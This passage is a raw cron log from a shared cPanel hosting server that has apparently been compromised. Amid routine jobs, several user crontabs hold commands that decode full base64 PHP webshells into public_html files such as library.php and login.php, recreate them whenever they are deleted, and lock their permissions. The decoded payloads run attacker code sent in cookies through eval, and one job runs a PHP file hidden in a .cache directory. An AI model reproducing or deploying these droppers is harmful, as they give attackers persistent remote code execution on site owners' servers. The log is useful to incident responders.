6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:43:01 medusa CROND[9355]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:43:01 medusa CROND[9356]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 11:43:01 medusa CROND[9357]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:44:02 medusa CROND[32144]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:44:02 medusa CROND[32145]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:44:02 medusa CROND[32146]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:44:02 medusa CROND[32148]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:44:02 medusa CROND[32147]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 11:44:02 medusa CROND[32149]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:44:02 medusa CROND[32151]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:44:02 medusa CROND[32153]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:44:02 medusa CROND[32154]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:44:02 medusa CROND[32152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:44:02 medusa CROND[32158]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:44:02 medusa CROND[32160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:44:02 medusa CROND[32161]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:45:01 medusa CROND[21831]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 11:45:01 medusa CROND[21833]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 11:45:01 medusa CROND[21836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 11:45:02 medusa CROND[21939]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 11:45:02 medusa CROND[21940]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:45:02 medusa CROND[21941]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 11:45:02 medusa CROND[21942]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 11:45:02 medusa CROND[21943]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:45:02 medusa CROND[21946]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:45:02 medusa CROND[21949]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 11:45:02 medusa CROND[21952]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:45:02 medusa CROND[21955]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 11:45:02 medusa CROND[21948]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 11:45:02 medusa CROND[21957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 11:45:02 medusa CROND[21958]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:45:02 medusa CROND[21963]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 11:45:02 medusa CROND[21964]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
